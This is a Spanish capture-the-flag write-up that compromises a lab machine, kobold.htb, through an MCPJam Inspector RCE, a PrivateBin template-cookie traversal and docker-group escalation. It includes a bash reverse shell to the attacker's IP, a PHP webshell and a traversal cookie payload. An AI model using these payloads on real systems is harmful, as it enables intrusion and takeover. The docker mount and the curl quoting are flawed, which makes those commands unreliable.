

Reconocimiento

- IP: 10.129.13.230
- Dificultad: Fácil.

Escaneo

Se establecen los puertos abiertos

```
nmap -Pn -n -p- --min-rate 1000 '10.129.13.230'  
>> 22/tcp open ssh  
>> 80/tcp open http  
>> 443/tcp open https  
>> 3552/tcp open taser
```

Una vez se saben los puertos abiertos, se establecen las versiones de estos servicios

```
nmap -Pn -sV -n -p 22,80,443,3552 '10.129.13.230'  
>> 22/tcp OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)  
>> 80/tcp nginx 1.24.0 (Ubuntu)  
>> 443/tcp nginx 1.24.0 (Ubuntu)  
>> 3552/tcp Golang net/http server
```

Enumeración

Se entiende por el escaneo de nmap que existe el protocolo HTTP (puerto 80) y su versión segura el HTTPS (puerto 443), por lo que usando la herramienta openssl procedo a revisar si existen otros subdominios para ampliar la superficie de ataque

```
echo | \  
openssl s_client -connect kobold.htb:443 2>/dev/null | \  
openssl x509 -noout -text  
>> DNS:kobold.htb, DNS:*.kobold.htb
```

Este resultado nos indica que hay mas subdominios, por lo que procedo a usar la herramienta ffuf

```
ffuf \  
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \  
-u https://kobold.htb \  

```

```
-H "Host: FUZZ.kobold.htb" \  
-mc 200,403  
>> mcp  
>> bin
```

Y los agrego al host para una correcta resolución DNS.

```
sudo nano /etc/hosts  
>> 10.129.13.230 kobold.htb bin.kobold.htb mcp.kobold.htb
```

Parece que la superficie de ataque esta clara:

- `https://kobold.htb/`
- `ssh://kobold.htb:22/`
- `http://kobold.htb:3552/`
- `https://bin.kobold.htb/`
- `https://mcp.kobold.htb/`

Empezando con `https://kobold.htb/` se tiene un botón de `Coming Soon` que no tiene ninguna redirección. Enumerando sus posibles directorios

```
gobuster dir \  
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \  
-u https://kobold.htb/ \  
-k
```

Con `gobuster` no se obtiene ningún resultado. Por el momento el puerto con el protocolo SSH no se tendrá en cuenta ya que es un puerto de conexión remota y aun no se cuenta con ningún usuario y contraseña para la autenticación.

Entrando al puerto 3552 se encuentra el directorio `/login` en este directorio hay un panel de autenticación y un botón `Sign in to Arcane` , en el pie de pagina hay un numero de versión `1.13.0` . Enumerando otros posibles directorios se tiene:

```
gobuster dir \  
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \  
-u http://kobold.htb:3552/
```

Como resultado se obtiene `the server returns a status code that matches the provided options for non existing urls` . Como ya se tiene la tecnología `Arcane` y la versión `1.13.0` , se procede a investigar posibles vulnerabilidades.

CVE-2026-23944 (High: 8.0) (Missing Authentication for Critical Function)

Arcane es una interfaz para gestionar contenedores, imágenes, redes y volúmenes de Docker. Antes de la versión 1.13.2, las solicitudes no autenticadas podían redirigirse a agentes de entornos remotos, lo que permitía acceder a los recursos de entornos remotos sin autenticación. El middleware de proxy de entorno gestionaba las solicitudes `/api/environments/{id}/...` para entornos remotos antes de que se aplicara la autenticación. Cuando el ID del entorno no era local, el middleware redirigía la solicitud y adjuntaba el token de agente del administrador, incluso si el solicitante no estaba autenticado. Esto permitía el acceso sin autenticación a operaciones del entorno remoto (por ejemplo, listar contenedores, transmitir registros u otros puntos de conexión del agente). Un atacante no autenticado podía acceder y manipular recursos de entornos remotos a través del proxy, lo que podía dar lugar a la exposición de datos, cambios no autorizados o interrupciones del servicio. La versión 1.13.2 corrige la vulnerabilidad.

Fuente: [NVD - CVE-2026-23944](#)

En el subdominio `https://bin.kobold.htb/` se tiene una pagina con el titulo `PrivateBin` y en el pie de pagina con la versión `2.0.2`. Enumerando otros posibles directorios se tiene:

```
gobuster dir \  
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \  
-u https://bin.kobold.htb/ \  
-k
```

Como resultado se tiene `the server returns a status code that matches the provided options for non existing urls`. Además, el subdominio tiene la posibilidad de intercambiar entre diferentes temas visuales, lo que me da a pensar que dentro de su servidor hay archivos `.css` que permiten estas diferentes visualizaciones.

Como ya se tiene la tecnología `PrivateBin` y la versión `2.0.2`, se procede a investigar posibles vulnerabilidades

CVE-2025-64714 (Medium: 5.8) (Relative Path Traversal, External Control of File Name or Path, Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'))

PrivateBin es un servicio de pastebin en línea en el que el servidor no tiene conocimiento alguno de los datos pegados. Desde la versión 1.7.7 hasta la versión 2.0.3, existe una vulnerabilidad de inclusión de archivos locales sin autenticación en

la función de cambio de plantilla. Si la opción `templateselection` está habilitada en la configuración, el servidor confía en la cookie `template` e incluye el archivo PHP al que se hace referencia. Un atacante puede leer datos confidenciales o, si consigue colocar un archivo PHP en otro lugar, obtener ejecución remota de código. Se comprueba la existencia de la ruta construida del archivo de plantilla y, a continuación, se incluye. En el caso de los archivos del proyecto PrivateBin, esto no provoca la filtración de ningún secreto, ya que los archivos de datos se crean con código PHP que impide la ejecución; sin embargo, si se creara un archivo de configuración sin esa línea o si el visitante averiguara la ruta relativa a un script PHP que realizara directamente una acción sin la comprobación de privilegios adecuada, estos podrían ejecutarse o filtrar información. El problema se ha solucionado en la versión 2.0.3. Como solución provisional, establezca `templateselection = false` (que es el valor predeterminado) en `cfg/conf.php` o elimínelo por completo.

Fuente: [NVD - CVE-2025-64714](#)

CVE-2025-64711 (Low: 3.9) (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))

PrivateBin es un servicio de pegado de texto en línea en el que el servidor no tiene conocimiento alguno de los datos pegados. Desde la versión 1.7.7 hasta la versión 2.0.3, al arrastrar un archivo cuyo nombre contenga código HTML, este se refleja tal cual en la página a través del asistente de arrastrar y soltar; por lo tanto, cualquier usuario que suelte un archivo manipulado en PrivateBin ejecutará código JavaScript arbitrario dentro de su propia sesión (auto-XSS). Esto permite a un atacante que consiga que una víctima arrastre o adjunte de cualquier otra forma dicho archivo extraer texto sin cifrar, claves de cifrado o pastas almacenadas antes de que se cifren o se envíen. Deben darse ciertas condiciones para que la vulnerabilidad sea explotable. Solo se ven afectados los usuarios de macOS o Linux, debido a la forma en que se trata el carácter `>` en un nombre de archivo en Windows. La instancia de PrivateBin debe tener habilitada la subida de archivos. Un atacante debe tener acceso al sistema de archivos local o convencer de alguna manera al usuario para que cree (o descargue) un archivo malicioso (nombre). Un atacante debe convencer al usuario para que adjunte ese archivo malicioso a PrivateBin. Cualquier usuario de Mac o Linux al que se pueda engañar para que arrastre un archivo con un nombre malicioso al editor se ve afectado; el código se ejecuta en el origen de la instancia de PrivateBin que esté utilizando. Los atacantes pueden robar texto sin cifrar, contraseñas o manipular la interfaz de usuario antes de que los datos se cifren, anulando las garantías de conocimiento cero para esa sesión de la víctima, siempre que se hayan desactivado contramedidas como Content-Security-Policy (CSP). Si

CSP no está desactivado, podrían producirse ataques de inyección de HTML, como redireccionamientos a sitios web ajenos, phishing, etc. Dado que todo el código malicioso debe incluirse en el nombre del archivo adjunto y solo afecta a la sesión local del usuario (es decir, no es persistente ni se puede ejecutar de forma remota), y que el usuario debe interactuar y adjuntar activamente dicho archivo al pegado, se considera que el impacto es prácticamente bajo. La versión 2.0.3 corrige este problema.

Fuente: [NVD - CVE-2025-64711](#)

En el subdominio `https://mcp.kobold.htb/` se tiene una pagina con el titulo `MCPJam Inspector` , en la pestaña de `Settings` se encuentra explícitamente el texto `MCPJam Version: v1.4.2` . Enumerando otros posibles directorios se tiene:

```
gobuster dir \  
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \  
-u https://mcp.kobold.htb/ \  
-k
```

Como resultado se obtiene `the server returns a status code that matches the provided options for non existing urls` . Como ya se tiene la tecnología `MCPJam` y su versión `1.4.2` se procede a investigar posibles vulnerabilidades

CVE-2026-23744 (Critical: 9.8) (Missing Authentication for Critical Function)

MCPJam Inspector es la plataforma de desarrollo «local-first» para servidores MCP. Las versiones 1.4.2 y anteriores son vulnerables a una vulnerabilidad de ejecución remota de código (RCE), que permite a un atacante enviar una solicitud HTTP manipulada que activa la instalación de un servidor MCP, lo que da lugar a la ejecución remota de código. Dado que MCPJam Inspector escucha por defecto en 0.0.0.0 en lugar de en 127.0.0.1, un atacante puede provocar la RCE de forma remota mediante una simple solicitud HTTP. La versión 1.4.3 contiene un parche.

Fuente: [NVD - CVE-2026-23744](#)

Dado que `MCPJam` es una plataforma para servidores MCP (Model Context Protocol), es altamente probable que existan rutas de API, sin embargo con numeración no fue efectiva, por lo que procedo a revisar directamente las peticiones que se hacen desde `BurpSuite` para encontrar algún endpoint que pueda ser de utilidad

```
Al entrar al subdominio
>> /api/mcp/servers
>> /api/mcp/cli-config
Al intentar agregar un servidor
>> /api/mcp/servers/rpc/stream
>> /api/mcp/servers/reconnect
>> /api/mcp/tasks/capabilities
>> /api/mcp/connect
```

Ademas, es importante decir que se creo un servidor dentro de MCPJam con el nombre test y la dirección HTTP `http://127.0.0.1:8080` . Para este punto ya se sabe la superficie de ataque y las posibles vulnerabilidades por lo que se procede a enumerarlas en orden de riesgo

- CVE-2026-23744 (Critical: 9.8)
- CVE-2026-23944 (High: 8.0)
- CVE-2025-64714 (Medium: 5.8)
- CVE-2025-64711 (Low: 3.9)

Explotación

Empezando con la vulnerabilidad mas critica la cual es CVE-2026-23744 , la cual afirma que un atacante puede provocar un RCE de forma remota mediante una simple solicitud HTTP, por lo que se utiliza los endpoints encontrados y se busca puntos de entrada de datos que el servidor use para interactuar con el sistema operativo.

Se sabe que esta vulnerabilidad afecta al subdominio `https://mcp.kobold.htb/` por lo que teniendo en cuenta la enumeración con BurpSuite el primer candidato para probar la vulnerabilidad es el endpoint `/api/mcp/connect` que se genera cuando se crea un nuevo servidor con el nombre del servidor test y su tipo de conexión como http con su respectiva dirección `http://127.0.0.1:8080/` , por lo que al interceptarlo se obtiene la petición:

```
{
  "serverConfig":{
    "timeout":10000,
    "url":"http://127.0.0.1:8080/",
    "requestInit":{
      "headers":{}
    }
  },
  "serverId":"test"
}
```

Esta petición usa el método `POST` lo que me da la idea de que puede servir, además la vulnerabilidad afirma que el RCE ocurre por medio de una solicitud HTTP lo que me da a pensar que se puede enviar comandos en medio de la petición, sin embargo, aun no se sabe la llave para enviarlos así que realice un fuzzing de parámetros JSON para identificar el campo vulnerable que acepta comandos del sistema. Se envía la solicitud a la pestaña de `Repeater` dentro de `BurpSuite` y usar el diccionario `/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt` en el que hay posibles candidatos, por lo que la petición queda de la forma:

```
{
  "serverConfig":{
    "payload":"test_poc"
    "timeout":10000,
    "url":"http://127.0.0.1:8080/",
    "requestInit":{
      "headers":{}
    }
  },
  "serverId":"test"
}
```

Una vez ejecutado se detecta la llave no por su respuesta ya que todos arrojaban un `Status Code 500` sino por su longitud. Revisando el response se recibe:

```
{
  "success":false,
  "error":"Connection failed for server test: spawn test_poc ENOENT",
  "details":"spawn test_poc ENOENT"
}
```

Esta respuesta contiene `ENOENT` el cual en entornos `Node.js/Go` indica que el sistema intentó ejecutar un binario que no existe en el `PATH`, lo que confirmó que el servidor estaba intentando realizar un `spawn()` o `exec()` con la entrada en este caso `test_poc`, en este punto ya puedo ejecutar un comando que me permita ejecutar un reverse shell, así que en mi terminal pongo un puerto de escucha con la herramienta `netcat`

```
nc -lvnp 443
```

Se envía la petición con `curl`

```
curl -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '
```

```
{
  "serverConfig": {
    "command": "bash",
    "args": ["-c", "bash -i >& /dev/tcp/10.10.15.177/443 0>&1"],
    "env": {}
  },
  "serverId": "test"
} \
-k
```

Lo que genera como resultado que la vulnerabilidad `CVE-2026-23744` sea explotada y permitiendo un RCE.

Postexplotación

Para tener mas control sobre la shell se procede a estabilizarla

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl + Z
stty raw -echo; fg
export TERM=xterm-256color
```

Para empezar a hacer una escalada de privilegios dentro del servidor se empieza una enumeración básica

```
whoami
```

Como resultado se obtiene que estamos dentro del servidor con el usuario `ben`.

```
id
```

El output `uid=1001(ben) gid=1001(ben)` indica que el usuario fue creado manualmente, `groups=1001(ben),37(operator)` indica que el usuario `ben` pertenece al grupo `operator` y su `GID` indica un grupo de servicio o sistema que venía preconfigurado desde la instalación inicial.

```
sudo -l
```

Para ejecutar este comando es necesario tener la contraseña del usuario `ben` por lo que se procede a buscar mas información.


```
ls -l /var/run/
```

Al ver los servicios que están corriendo me llama la atención que hay cinco grupos con procesos activos: `root`, `docker`, `lxd`, `www-data` y `utmp` .

Al ejecutar `id` , observé que el usuario `ben` pertenecía únicamente al grupo `operator` (GID 37). Sin embargo, al revisar los procesos activos en `/var/run/` , identifiqué múltiples grupos con actividad: `root` , `docker` , `lxd` , `www-data` y `utmp` .

Procedí a verificar si `ben` tenía membresía efectiva en alguno de estos grupos mediante el comando `newgrp` . Al probar `newgrp docker` , el sistema no solicitó contraseña y cambió exitosamente mi grupo primario, lo que confirmó implícitamente que el usuario pertenecía al grupo `docker` (GID 999), a pesar de no aparecer en la salida inicial de `id` . Este comportamiento sugiere que la membresía podría haberse otorgado recientemente o que existía una configuración de grupos suplementarios no visible en la sesión actual. El grupo `docker` permite que el sistema operativo me autorice una conexión con el socket sin recibir un error de `Permission Denied` .

Se procede a obtener los archivos que hacen parte de estos grupos `operator` y `docker` .

```
find / -group operator -ls 2>/dev/null
```

Con este output se obtiene que este grupo tiene acceso al directorio `/privatebin-data` , sin embargo, al querer revisar directorios como `/privatebin-data/cfg` se recibe un error de permisos, además, se da a la idea de que esta carpeta hace parte o tiene conexión con la información de los archivos que hay dentro de la tecnología `PrivateBin` que corre en el subdominio `https://bin.kobold.htb/` y ya que se sabe que este subdirectorio tiene una vulnerabilidad `CVE-2025-64714` la cual afirma que un atacante puede leer datos confidenciales o si consigue colocar un archivo PHP en otro lugar puede obtener ejecución remota de código (RCE), por lo que se procede a usar esta vulnerabilidad para encontrar mas información.

La vulnerabilidad `CVE-2025-64714` , afirma además, que si la opción `templateselection` está habilitada en la configuración, el servidor confía en la cookie `template` . A partir de la enumeración se recuerda que efectivamente al entrar al subdominio `https://bin.kobold.htb/` es posible cambiar de temas de visualización por lo que es mi punto de entrada, y da a pensar además que la opción `templateselection` esta habilitada, como mi objetivo es lograr una ejecución remota para visualizar los archivos y obtener mas información, tengo que verificar que halla una conexión entre el directorio `/privatebin-data` y la información que se envía desde el subdominio para poder crear un archivo malicioso.

Para confirmar la conexión entre el subdominio `https://bin.kobold.htb/` y el directorio `/privatebin-data` procedo a crear una nueva nota dentro de `PrivateBin` y según investigaciones se sabe que generalmente se crean las notas dentro de la carpeta `/data/` del directorio donde está instalado `PrivateBin`, en este orden de ideas, procedo a listar los archivos que hay dentro del directorio `/privatebin-data/data`

```
ls /privatebin-data/data
```

Como resultado se obtienen los archivos: `12`, `bd`, `e3`, `purge_limiter.php`, `salt.php` y `traffic_limiter.php` así que según mi hipótesis, si creo una nueva nota debería de aparecer un nuevo archivo en este directorio. Creo una nueva nota y reviso

```
ls /privatebin-data/data
```

Y como resultado se obtienen los archivos: `12`, `90`, `bd`, `e3`, `purge_limiter.php`, `salt.php` y `traffic_limiter.php` efectivamente apareció un nuevo archivo llamado `90` lo que confirma mi hipótesis. Ya que sé que estoy dentro del directorio donde está instalado el programa `PrivateBin` puedo usarlo para crear un archivo malicioso que me permita una ejecución remota.

Se por el `CVE-2025-64714` que la configuración de `template` está en el directorio `cfg/conf.php` así que supongo que allí es donde posiblemente llega la cookie. Formando un mapa mental se supone la siguiente estructura

```
privatebin-data
├── certs
├── cfg
│   └── conf.php
├── data
│   ├── archivos_de_notas_nuevas
│   ├── bd
│   ├── purge_limiter.php
│   ├── salt.php
│   └── traffic_limiter.php
```

Según mi estructura de archivos y los permisos que tengo puedo crear mi script malicioso en el directorio `/privatebin-data/data` y llegar a él desde el directorio de `/privatebin-data/cfg/conf.php`.

```
echo '<?php system($_GET["cmd"]); ?>' > /privatebin-data/data/shell.php
```

Una vez ejecutado, se comprueba que realmente se halla creado

```
cat /privatebin-data/data/shell.php
```

Ya que se tiene el archivo malicioso dentro del directorio de PrivateBin se usa la herramienta de BurpSuite y usando la utilidad de Repeater capturo la petición de cuando recién se ingresa al subdominio <https://bin.kobold.htb/> , en esta petición edito los parámetros agregándole un comando y la cookie de template dándole la posible ubicación de mi archivo malicioso, por lo que la petición queda

```
GET /?cmd=id HTTP/1.1
Host: bin.kobold.htb
Cookie: template=../data/shell
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="142", "Google Chrome";v="142"
Sec-Ch-Ua-Mobile: ?0
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

Como respuesta recibo uid=65534(nobody) gid=82(www-data) groups=82(www-data) lo que me confirma de nuevo que mi hipótesis era correcta y que se acaba de explotar la vulnerabilidad CVE-2025-64714 con éxito logrando un RCE, se investigan los archivos que hay dentro, sin embargo no se encontró información útil para poder escalar privilegios, se procede a cerrar esta conexión y se continua dentro de la shell obtenida en un principio con el usuario ben .

Volviendo a la terminal del servidor se continua con la enumeración del grupo de docker .

```
find / -group docker -ls 2>/dev/null
```

En este output se obtiene una cantidad exorbitante de archivos. Así que vuelvo a mirar los archivos que se corren

```
ls -l /var/run/
```

Esta vez observo que hay un archivo que se llama `docker.sock` el cual es el punto de entrada (Unix Domain Socket) para la API de Docker, este archivo traduce los comandos de texto a acciones reales del kernel (crear contenedores, montar discos). En Linux, el demonio de Docker (`dockerd`) siempre se ejecuta con privilegios de root para poder gestionar interfaces de red, sistemas de archivos y aislamiento de procesos, esto da a la idea de que el demonio de Docker esta corriendo, pero se procede a confirmarlo

```
systemctl status docker
```

Acá se recibe `Active: active (running) since Sat 2026-03-28 14:47:10 UTC; 11h ago` por lo que ya sabiendo que corre el demonio de Docker, procedo a listar las imágenes que hay dentro del servidor

```
docker images
```

Se sabe que hay dos imágenes dentro: `mysql` y `privatebin/nginx-fpm-alpine` . Dado que el usuario `ben` pertenece al grupo `docker` , tengo el poder de crear un contenedor que monte el sistema de archivos en el servidor. Esto me permitiría ver o editar archivos de root (como `/etc/shadow` o las llaves SSH), se usa la imagen de `mysql` para hacerlo.

```
docker run -v /mnt/root -it mysql /bin/bash
```

Y de esta forma se logra tener una escalada de privilegios para ser usuario `root` por lo que ya solo falta obtener las banderas.

```
find / -name "user.txt" 2>/dev/null
```

Se obtiene el directorio `/mnt/root/home/ben/user.txt` .

```
cat /mnt/root/home/ben/user.txt
```

La bandera que se obtiene es `6650c87a8e4a66bbfe926c7f989f268d` . Lo mismo con la bandera de root.

```
find / -name "root.txt" 2>/dev/null
```

Para obtener la bandera root

```
cat /mnt/root/root/root.txt
```

Y en respuesta se tiene la bandera `36a81c46e8664c8d369bc861e34cb17a` . De esta forma se completa con éxito la maquina y se vulnera completamente.